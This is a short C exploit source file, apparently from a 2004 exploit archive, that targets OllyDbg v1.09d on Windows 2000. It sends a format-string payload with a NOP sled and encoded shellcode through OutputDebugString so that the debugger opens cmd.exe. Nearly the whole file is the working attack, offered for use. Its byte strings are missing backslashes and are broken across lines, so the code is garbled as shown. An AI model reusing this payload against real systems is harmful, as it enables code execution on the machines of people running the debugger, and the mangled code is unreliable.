// Exploit opens a new cmd.exe.Tested on win2k(en)+sp4(en)+ollydbg v1.09d
// Open exploit with ollydebug and run the exploit from ollydebug(F9 key).
// Coded by Ahmet Cihan(a.k.a. hurby)
// Thanx to r3d_b4r0n, Murat Erdo??an(a.k.a. Stormwr), Onur Cihan(a.k.a.eurnie and 3710336), Orhan Tun????z and Mehmet Yakut.

#include <stdio.h>
#include <windows.h>
#include <winbase.h>

#pragma comment(lib,"kernel32.lib")

void main(){
        unsigned char buffer[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90
x90x90x90x90xEBx0Fx58x80x30x99x40x81x38x54x55x52x4Bx75xF4xEBx05xE8xECxFFxFFxFF
x12x75xCCx12x75xF1xFCxE1xFCxB9xF1xFAxF4xFDxB7x14xDCx61xC9x21x26x17x98xE1x66x49
x54x55x52x4BxCD%.1423xx3Ex02x4Bx02";

        OutputDebugString(buffer);
}

// www.Syue.com [2004-08-10]